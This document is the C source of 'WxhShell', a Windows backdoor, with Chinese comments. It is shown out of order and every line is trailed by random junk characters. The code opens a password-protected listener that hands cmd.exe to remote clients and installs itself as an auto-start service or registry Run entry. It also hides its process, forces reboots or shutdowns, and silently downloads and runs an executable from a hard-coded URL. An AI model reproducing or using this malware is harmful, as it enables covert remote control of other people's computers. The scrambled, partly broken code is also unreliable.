    if(Boot(SHUTDOWN)) 0?I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xooh00  
    else { 3_ E}XQd  
    closesocket(wsh); Z5wQhhH  
    ExitThread(0); ~pI`_3  
    } wLO"[,  
    break; 6y`FW[  
    } K!>3`[:I"  
  // 获取shell #sv}%oV,F  
  case 's': { Ym -U{a  
    CmdShell(wsh); i8EKzW  
    closesocket(wsh); w}07u5  
    ExitThread(0); Ut1s~b1  
    break; MD4m h2  
  }  ]5ibg"{S  
  // 退出 T# tFzbr  
  case 'x': { /d }5R@Oy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7n;a_Z0s$  
    CloseIt(wsh); wc}x [cS  
    break; }+[!h=Bx  
    } Y<@_d  
  // 离开 l:#'i`;   
  case 'q': { slr>6o%W`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0}k vuuR  
    closesocket(wsh); 3_eg'EP.E  
    WSACleanup(); @ K2Ncb7  
    exit(1); /<O9^hA|  
    break; !#olG}#[  
        } GV9pet89yu  
  } [>j.x2=  
  } bgInIe  
Ia^/^>  
  // 提示信息 )J[Ady^5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .'-t>(}v  
} [a^<2V!vMn  
  }  1&=2"  
rX`fjS*C  
  return; ZiH4s|  
} bhZ5-wo4%  
|NjyO>@Pa  
// shell模块句柄 wlP% U  
int CmdShell(SOCKET sock) e6T?2`5P  
{ lL'K1%{+ \  
STARTUPINFO si; ^ilgd  
ZeroMemory(&si,sizeof(si)); 2v*X^2+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1o   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AMK3I`=8WO  
PROCESS_INFORMATION ProcessInfo; N=8CVI  
char cmdline[]="cmd"; p1z^i(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,~K4+ t_  
  return 0; HE2t0sAYX  
} /cZcfCW  
AZJ|.mV q  
// 自身启动模式 ]InDcE  
int StartFromService(void) r9-)+R J  
{ `E>o:tff  
typedef struct 9<Th: t|w  
{ Y$3liDeL=  
  DWORD ExitStatus; " M&zW&  
  DWORD PebBaseAddress; {N-*eV9#  
  DWORD AffinityMask; :3}K$  
  DWORD BasePriority; R*vfp?x  
  ULONG UniqueProcessId; >4T7D My  
  ULONG InheritedFromUniqueProcessId; MF::At[4   
}   PROCESS_BASIC_INFORMATION; k@9q5lu;T  
xtXK3[s  
PROCNTQSIP NtQueryInformationProcess; Zl2doXC  
"1ZVuI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I?<ibLpX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kf)s3I/`(  
<|a9r: [  
  HANDLE             hProcess; 2l8z/o7v  
  PROCESS_BASIC_INFORMATION pbi; &#]||T-  
57U;\L;ZmZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C[JPohm  
  if(NULL == hInst ) return 0; yv5c0G.D  
{JcMJZ3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2|+4xqNJm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kr]_?B(r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~^eC?F(  
fhQ N;7  
  if (!NtQueryInformationProcess) return 0; -]MZP:s  
O<0-`=W,a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8O^z{Yh7  
  if(!hProcess) return 0; }GGH:v  
r*ry8QA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OgyHX>}bH  
D_I_=0qNd  
  CloseHandle(hProcess); 8GT{vW9  
7I6& *I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pkA(\0E8  
if(hProcess==NULL) return 0; tpKQ$) ed  
<UJ5n) }"\  
HMODULE hMod; &)Iue<&2  
char procName[255]; 5kj=Y]9\I  
unsigned long cbNeeded; {E>(%vD  
;cWFh4_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sVIw'W  
^eqq|(<K  
  CloseHandle(hProcess); #!M;4~Sfx  
HG})V PBa  
if(strstr(procName,"services")) return 1; // 以服务启动 9'\*Ip^  
SL%lY  
  return 0; // 注册表启动 I[v~nY~l`  
} 2` h  
%XWb|-=  
// 主模块 zeHs5P8}r  
int StartWxhshell(LPSTR lpCmdLine) XE*#5u8t  
{ Y3f2RdGl  
  SOCKET wsl; e p\a  
BOOL val=TRUE; 32):&X"AIh  
  int port=0; p4wXsOQ}  
  struct sockaddr_in door; k%ckV`y  
& Pzr)W(  
  if(wscfg.ws_autoins) Install(); *ps")?tlC  
ob>2SU[Y  
port=atoi(lpCmdLine); T$9tO{  
PF/eQZ*4  
if(port<=0) port=wscfg.ws_port; QW}N,j$  
^<'=]?xr  
  WSADATA data; '${xZrzmt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l8ZzKb-  
w#`E;fN'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tdB<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9mH/xP:y  
  door.sin_family = AF_INET; "EC,#$e%ev  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PaYsn *{})  
  door.sin_port = htons(port); TW?A/GoXI  
&p#.m"Oon  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `+Ojh>"*z*  
closesocket(wsl); iOzY8M+N(  
return 1; '}NQ`\k  
} ( RCQbI  
ue{0X\[P<  
  if(listen(wsl,2) == INVALID_SOCKET) { 8!{F6DG  
closesocket(wsl); b7h0V4w  
return 1; sKI{AHJ?X  
} Y5Jrkr)k  
  Wxhshell(wsl); 8yV?l7  
  WSACleanup(); zDO`w0N  
zQQ=8#]  
return 0; U(cV#@Y  
A296 f(  
} w{; esU  
(:]on^|  
// 以NT服务方式启动 B'Ll\<mq@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c>%+y+b{  
{ ~4fjFo&_\  
DWORD   status = 0; Wp<4F 6C$@  
  DWORD   specificError = 0xfffffff; .A`Q!  
R4Vi*H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4<`'?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y BwgLn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \]eB(&nq  
  serviceStatus.dwWin32ExitCode     = 0; o%E^41M7E  
  serviceStatus.dwServiceSpecificExitCode = 0; 5g3D}F>OJ  
  serviceStatus.dwCheckPoint       = 0; G 'sEbw'[  
  serviceStatus.dwWaitHint       = 0; fH/J8<  
A[@xTq s{{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '%$)"g]/#  
  if (hServiceStatusHandle==0) return; [80L|?, *  
,dM}B-  
status = GetLastError(); O%.c%)4Xo  
  if (status!=NO_ERROR) ~a^"VQ5]ac  
{ ' ?3e1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VYb6#sl  
    serviceStatus.dwCheckPoint       = 0; GDgq 4vfj  
    serviceStatus.dwWaitHint       = 0; CE19V:zp  
    serviceStatus.dwWin32ExitCode     = status; `is."]%f  
    serviceStatus.dwServiceSpecificExitCode = specificError; a.r+>44M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7r?s)ZV  
    return; 9b8ZOk'9_  
  } ppjS|l*`  
8R;)WlLu=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U&uop$/Cq  
  serviceStatus.dwCheckPoint       = 0; U=4tJb  
  serviceStatus.dwWaitHint       = 0; *-gd k9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `J%iFm/5*  
} &"(xd@V)]A  
cg-\|H1  
// 处理NT服务事件,比如:启动、停止 Ov$_Phm:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J_]B,' 6  
{ )zzK\I6/EQ  
switch(fdwControl) l0^~0xlED  
{ Ka|WT|1  
case SERVICE_CONTROL_STOP: Gm 0&y  
  serviceStatus.dwWin32ExitCode = 0; 6tC0F=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /~?'zr  
  serviceStatus.dwCheckPoint   = 0; e_Ue9c.}  
  serviceStatus.dwWaitHint     = 0; Q:6i 3 Nr/  
  { b '1n1L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w%(Ats  
  } ^h}xFiAV#  
  return; Oq-O|qJj  
case SERVICE_CONTROL_PAUSE: s}NE[Tw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3dlL?+Y#  
  break; 8CR b6  
case SERVICE_CONTROL_CONTINUE: 8J}gj7^8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [YbnpI  
  break; v##k,R.d  
case SERVICE_CONTROL_INTERROGATE: VM 3~W  
  break; zJhG`iWFw  
}; Sm@T/+uG:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v1s.j2T  
} e} =tUdDf  
~C|. .Z  
// 标准应用程序主函数 C5q n(tv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \e89 >m  
{ '<}N`PS#N  
 /i'dhiG  
// 获取操作系统版本 i%M6$or  
OsIsNt=GetOsVer(); .c+NsI9}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~N<zv( {lG  
T1\LS*~!  
  // 从命令行安装 LHQ$0LVt>T  
  if(strpbrk(lpCmdLine,"iI")) Install(); k/ 6Qwb#  
rb"J{^  
  // 下载执行文件 ,".1![b  
if(wscfg.ws_downexe) { 3`%]3qd}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b0QC91   
  WinExec(wscfg.ws_filenam,SW_HIDE); _,,w>q6K  
} .uo9VL<  
V 6DWYs>  
if(!OsIsNt) { +v!% z(  
// 如果时win9x,隐藏进程并且设置为注册表启动 Owe"x2D\  
HideProc(); RM\A$.5  
StartWxhshell(lpCmdLine); K{]9Yo  
} zWN<"[agc  
else }:04bIaV  
  if(StartFromService()) v- 793pr  
  // 以服务方式启动 z( 00"ei  
  StartServiceCtrlDispatcher(DispatchTable); >-%tvrS%  
else /6K9? /  
  // 普通方式启动 2=\} 0  
  StartWxhshell(lpCmdLine); Nk#[~$Q-1  
3FD6.X>x  
return 0; })?t:zX#*  
} & xAwk-{W  
l2Gtw*i_I  
No|T#=BZ[  
U*p;N,SjQ  
=========================================== Gr),o6}p  
-~Ll;}nZC  
J~}%j.QQ7  
|\# ~  
jpGZ&L7i&  
F,[GdE;P  
" (uW$ch@2K  
&U.U<  
#include <stdio.h> |TQ#[9C0  
#include <string.h> 0~/'c0Ho  
#include <windows.h> 3A`|$So  
#include <winsock2.h> 4r+@7hnK  
#include <winsvc.h> %1oh+'ES F  
#include <urlmon.h> sGAOK%28  
%0y_WIjz  
#pragma comment (lib, "Ws2_32.lib") lG1\41ZxB  
#pragma comment (lib, "urlmon.lib") y-.<iq  
5YZh e4R  
#define MAX_USER   100 // 最大客户端连接数 _A>?@3La9  
#define BUF_SOCK   200 // sock buffer MWl2;qi  
#define KEY_BUFF   255 // 输入 buffer )z" .lw  
%X5p\VS\7  
#define REBOOT     0   // 重启 mqt$'_M  
#define SHUTDOWN   1   // 关机 ^MXW,xqb  
y#B4m`9  
#define DEF_PORT   5000 // 监听端口 ~x-"?K  
e+TSjm  
#define REG_LEN     16   // 注册表键长度 <n;9IU  
#define SVC_LEN     80   // NT服务名长度 QC,LHt?6  
_HAtTW  
// 从dll定义API z^FJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6T9?C|q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 85}S8\_u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _9pcHhJux  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >z"\l  
es6]c%o:t^  
// wxhshell配置信息 X21k7 Ls  
struct WSCFG { +jPJv[W  
  int ws_port;         // 监听端口 T4JG5  
  char ws_passstr[REG_LEN]; // 口令 G`oY(2U  
  int ws_autoins;       // 安装标记, 1=yes 0=no \ cr)O^&  
  char ws_regname[REG_LEN]; // 注册表键名 (i1q".  
  char ws_svcname[REG_LEN]; // 服务名 ,6EFJVu \  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pXhN?joe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ] >4CBm$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fd1t/B,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qlNB\~HCe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k9*6`w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M(|6YF7u  
:'$V7LZ5  
}; nK8IW3fX9)  
hWz/PK,  
// default Wxhshell configuration a !yBEpMo  
struct WSCFG wscfg={DEF_PORT, '44I}[cA/  
    "xuhuanlingzhe", =^5#o)~BB  
    1, d%~OEq1i"  
    "Wxhshell", g9.y`o}c  
    "Wxhshell", W[G5+*i  
            "WxhShell Service", e#<A\?  
    "Wrsky Windows CmdShell Service", MwHxn%  
    "Please Input Your Password: ", ul&}'jBr  
  1, c D5N'3  
  "http://www.wrsky.com/wxhshell.exe", ev[!:*6P  
  "Wxhshell.exe" mb?r{WCi  
    }; ) >H11o{&  
X 2Zp @q(  
// 消息定义模块 u$Wv*;TT%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sLOkLz"x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?Z2_y-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cl{kCSZo.z  
char *msg_ws_ext="\n\rExit."; IQ $/|b/  
char *msg_ws_end="\n\rQuit."; }? :T*CJ  
char *msg_ws_boot="\n\rReboot..."; g@Z7f y7  
char *msg_ws_poff="\n\rShutdown..."; #ULzh&yO  
char *msg_ws_down="\n\rSave to "; b(Nxk2uv  
peZ'sZ6  
char *msg_ws_err="\n\rErr!"; *G"}m/j-  
char *msg_ws_ok="\n\rOK!"; Da)H/3ii  
n.b_fkZNr  
char ExeFile[MAX_PATH]; Fp(-&,L0fc  
int nUser = 0; zL Sha\X  
HANDLE handles[MAX_USER]; VD90JU]X<  
int OsIsNt; m5%E1k$=  
TNF+yj-|X:  
SERVICE_STATUS       serviceStatus; ,R7RXpP7t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h @2.D|c)g  
6#;u6@+}yy  
// 函数声明 7.nNz&UG]5  
int Install(void); Q- }cB  
int Uninstall(void); x4CSUcKb  
int DownloadFile(char *sURL, SOCKET wsh); J] )gXVRM  
int Boot(int flag); b\Mb6s  
void HideProc(void); /ptG  
int GetOsVer(void); xxZO{_q  
int Wxhshell(SOCKET wsl); XNr8,[c  
void TalkWithClient(void *cs); 9`Y\`F#}q  
int CmdShell(SOCKET sock); rebWXz7  
int StartFromService(void); ZRP[N)Ld$  
int StartWxhshell(LPSTR lpCmdLine); Y?4N%c_;  
0/JTbf. CX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \y0]BH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G7YBo4v  
[N_)V kpr  
// 数据结构和表定义 A,;[9J2\&  
SERVICE_TABLE_ENTRY DispatchTable[] = av>Ff6w)Y  
{ .F]"%RK[  
{wscfg.ws_svcname, NTServiceMain}, <y<   
{NULL, NULL} ja%IGaH;s  
}; 2Xqa?ay0>  
3RP\w~?  
// 自我安装 D"<>! ]@(a  
int Install(void) @0D  
{ s(r1q$5  
  char svExeFile[MAX_PATH]; n*m"yp  
  HKEY key; i{}Q5iy  
  strcpy(svExeFile,ExeFile); 2SXy)m !  
Gxw>.O){  
// 如果是win9x系统,修改注册表设为自启动 4p&YhV7j)o  
if(!OsIsNt) { t]XF*fZH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8S@"6TG`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nyx(0  
  RegCloseKey(key); blmY=/]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VX'G\Zz@h|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yUX<W'-Hev  
  RegCloseKey(key); @ 5V3I^  
  return 0; ;edt["Eu  
    } 8.tp#x,A  
  } L[. )!c8k  
} psAr>:\3  
else { _YA;Nd#%k  
B i`m+ob  
// 如果是NT以上系统,安装为系统服务 v4W<_ 7L_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MNH-SQB|  
if (schSCManager!=0) +|.6xC7U  
{ a9p6[qOcd  
  SC_HANDLE schService = CreateService l*|m(7s  
  ( :Y[?@/m4  
  schSCManager, ,Ad{k   
  wscfg.ws_svcname, Ht7v+lY90^  
  wscfg.ws_svcdisp, %!V=noo  
  SERVICE_ALL_ACCESS, g*$yUt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jWGX :XB  
  SERVICE_AUTO_START, wQrD(Dv(yA  
  SERVICE_ERROR_NORMAL, RO.bh#A$  
  svExeFile, !UX7R\qu|  
  NULL, FK,Jk04on  
  NULL, wbbr8WiU  
  NULL, x}jiHV@=  
  NULL, F=V_ACU  
  NULL D*q:X O6b  
  ); }EJ't io]  
  if (schService!=0) l/6(V:  
  { 0r%,|FaS  
  CloseServiceHandle(schService); `YK%I8  
  CloseServiceHandle(schSCManager); &` weW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ! 345  
  strcat(svExeFile,wscfg.ws_svcname); 2VgVn,c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {3N5Fi7S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FSyeDC^@  
  RegCloseKey(key); giu8EjzK  
  return 0; 1fcyGZq  
    } b)+;@wa~  
  } W4rh7e4  
  CloseServiceHandle(schSCManager); Nq ZR*/BOz  
} oU)HxV  
} XO"BEj<x  
ziG]BZ  
return 1; <j^"=UN4#  
} @EGUQ|WL^  
'DCB 7T8  
// 自我卸载 d<>jhp5el  
int Uninstall(void) J7$JW3O  
{ T`r\yl}  
  HKEY key; <UBB&}R0  
AGgL`sP  
if(!OsIsNt) { zK ir  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]tO9<  
  RegDeleteValue(key,wscfg.ws_regname); G FO(O  
  RegCloseKey(key);  #)28ESj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :t6.J  
  RegDeleteValue(key,wscfg.ws_regname); /r mm@  
  RegCloseKey(key); \I~9%QJ>  
  return 0; Xd@x(T~'X  
  } ?G$X 4KY6`  
} tCbn B  
} 6l?\iE  
else { D>I|(B!.p8  
>Wr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DX4"}w  
if (schSCManager!=0) he1OLk  
{ *Q:EICDE7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U\`H0'  
  if (schService!=0) O{44GB3  
  { q NE( @at  
  if(DeleteService(schService)!=0) { 2a[_^v $v  
  CloseServiceHandle(schService); 2:D1<z6RQ  
  CloseServiceHandle(schSCManager); b}5hqIy  
  return 0; '3V?M;3|K  
  } bhc .UmH  
  CloseServiceHandle(schService); "T'?Ah6  
  } 'X1fb:8m8  
  CloseServiceHandle(schSCManager); {;Ispx0m  
} cb9q0sdf  
} Q.`O;D}x  
K)8N8Js(  
return 1; 4f{(Scg  
} O(Vi/r2:e  
} l4d/I  
// 从指定url下载文件 _9Y7. 5  
int DownloadFile(char *sURL, SOCKET wsh) d&[.=M\E8  
{ Ex3V[v+D(  
  HRESULT hr; K#oF=4_/|  
char seps[]= "/"; *Zi:^<hv  
char *token;  C#x9RW  
char *file; ,T3_*:0hk!  
char myURL[MAX_PATH]; LG3:V'|  
char myFILE[MAX_PATH]; F3V_rE<  
Ah <6m5+  
strcpy(myURL,sURL); 7SpF&  
  token=strtok(myURL,seps); Dt p\ T|)  
  while(token!=NULL) iPoDesp  
  { (>gAnebN L  
    file=token; PgF7ug%,@C  
  token=strtok(NULL,seps); 3~Vo]wv  
  } 8I*WVa$l  
cWG?`6xU&  
GetCurrentDirectory(MAX_PATH,myFILE); qX?k]m   
strcat(myFILE, "\\"); `VxfAV?}  
strcat(myFILE, file); KZ}F1Mr  
  send(wsh,myFILE,strlen(myFILE),0); , ,=7deR  
send(wsh,"...",3,0); ><Z`) }f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;p}X]e l}  
  if(hr==S_OK) D/=  AU  
return 0; auP6\kpMe  
else p .^#mN  
return 1; (0/)vZc  
drZ1D s  
} V`MV_zA2  
xX]92Q  
// 系统电源模块 }R -azN;  
int Boot(int flag) EO[UezuU  
{ MGzuQrl{H  
  HANDLE hToken; (o5+9'y"9  
  TOKEN_PRIVILEGES tkp; Yh}F  
$5;RQNhXh  
  if(OsIsNt) { |2eF~tJqc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NFQR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "L p"o  
    tkp.PrivilegeCount = 1; .`ppp!:a4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,`lVB#|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ? m$7)@p  
if(flag==REBOOT) { l*Iy:j(B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M~1 n#  
  return 0; DlXthRM  
} :U7m@3czU  
else { _4VS.~}/R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )=)=]|3  
  return 0; #n_uELE  
} wEImpsC`  
  } u*NU MT2  
  else { ^Q\O8f[u  
if(flag==REBOOT) { yb(zyGe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ages-Z_X  
  return 0; ped3}i+|]  
} -gP4| r8&  
else { !hJ% :^ xL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %hu] =  
  return 0; *?#t (Y[  
} ,^_aqH  
} 2-3|0<`  
6jIW)C  
return 1; = yH#Iil  
} *qLOr6  
){.J`X5r  
// win9x进程隐藏模块 IiV#V  
void HideProc(void) (HUGgX"=  
{ Tmo+I4qoL  
m j{ /'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G1d!a6>  
  if ( hKernel != NULL ) v<`1z?dch  
  { EQ j2:9f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f V|Zh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vh~:{akR  
    FreeLibrary(hKernel); i*JbFukG  
  } Q7]VB p4  
\gE3wmSJ,  
return; wb>>bV+U  
} ;b""N,  
(]yOd/ru/C  
// 获取操作系统版本 *1L;%u| [  
int GetOsVer(void) k-( hJ}N  
{ ?'_Q^O>  
  OSVERSIONINFO winfo; Y(D@B|"'m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #]yb;L  
  GetVersionEx(&winfo); #<7ajmr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %` c?cB  
  return 1; (/c&#W  
  else ZR3x;$I~4  
  return 0; #0HF7C3  
} ,'CDKzY  
3eV(2  
// 客户端句柄模块 43mV~Oj  
int Wxhshell(SOCKET wsl) J jCzCA:K_  
{ `3$S^|v  
  SOCKET wsh; 'CDRb3w}B  
  struct sockaddr_in client; 4g#pQ  
  DWORD myID; oy-Qy  
h<wF;g,  
  while(nUser<MAX_USER) XB &-k<C  
{ uW&P1 'X  
  int nSize=sizeof(client); ?D#]g[6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SR#%gR_SC  
  if(wsh==INVALID_SOCKET) return 1; Xf.w( -  
KB,!s7A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RN?z)9!  
if(handles[nUser]==0) iaR^]|7_  
  closesocket(wsh); 4ifWNL^)  
else :B=p%C  
  nUser++; '\:?FQ C  
  } /hue]ZaQq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *R*Tmo"  
K%<Z"2!+  
  return 0; <!\J([NM8  
} Riq5Au?*)  
I3xx}^V  
// 关闭 socket :8;8-c  
void CloseIt(SOCKET wsh) a#=GLB_P(  
{ f8E S GU  
closesocket(wsh); uOEFb  
nUser--; ;APpgt4  
ExitThread(0); 46'EZ@#s  
} Ed|7E_v  
'M\ou}P  
// 客户端请求句柄 xA nAW  
void TalkWithClient(void *cs) Llf>C,)  
{ g eaeOERc  
snTj!rV/_  
  SOCKET wsh=(SOCKET)cs; '3wte9E/  
  char pwd[SVC_LEN]; v=:RxjEx  
  char cmd[KEY_BUFF]; R Nr=M^Zn  
char chr[1]; l_LfVON  
int i,j; AA}M"8~2  
O{rgZ/4Au  
  while (nUser < MAX_USER) { Rww"Z=F  
r+HJ_R,5A  
if(wscfg.ws_passstr) { &X^~%\F:2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wX7B&w8wV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _OTkv6;4n  
  //ZeroMemory(pwd,KEY_BUFF); :Ke~b_$Uy-  
      i=0; xH\'gli/  
  while(i<SVC_LEN) { Z94D<X"  
K}O~tff  
  // 设置超时 ^!|BKH8>f%  
  fd_set FdRead; WKpHb:H  
  struct timeval TimeOut; 6^['g-\2  
  FD_ZERO(&FdRead); KhZ'Ic[vw  
  FD_SET(wsh,&FdRead); G7C9FV bR  
  TimeOut.tv_sec=8; +v&+8S`+  
  TimeOut.tv_usec=0; R+Ke|C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8T 6jM+ h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3}$L4U  
#hzs,tvvD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XH)MBr@Fz  
  pwd=chr[0]; lp?geav  
  if(chr[0]==0xd || chr[0]==0xa) { 2o/}GIKj  
  pwd=0; W.o W =<  
  break; P G) dIec  
  } z@VY s  
  i++; A1\;6W:  
    } K ^H=E  
+98~OInySZ  
  // 如果是非法用户,关闭 socket [kz<2P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /NLpk7r[\q  
} sl%B-;@I  
\C*?a0!:Z}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H5/%"1Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l4u`R(!n5  
-BACdX  
while(1) { H"I|dK:  
sJ?Fque  
  ZeroMemory(cmd,KEY_BUFF); 9ZG.%+l  
xgJ2W_  
      // 自动支持客户端 telnet标准   W ;IvR   
  j=0; blaxUP:  
  while(j<KEY_BUFF) { Z/hSH 0(~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R^dAwt`.D  
  cmd[j]=chr[0]; 2hf]XV\  
  if(chr[0]==0xa || chr[0]==0xd) { vyqlP;K  
  cmd[j]=0; Ik=KEOz  
  break; I2|iqbX40Q  
  } ~oT0h[<  
  j++; "S#0QH%5  
    } ^#exs Xy  
sKjg)3Sl  
  // 下载文件 nb'],({:9  
  if(strstr(cmd,"http://")) { Qo)>i0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^5u}   
  if(DownloadFile(cmd,wsh)) L !yl^c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SLz^Wg._  
  else *8js{G0h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+=U&*  
  } ^N`ar9Db  
  else { ZxbWgM5rm  
v8 ggPI  
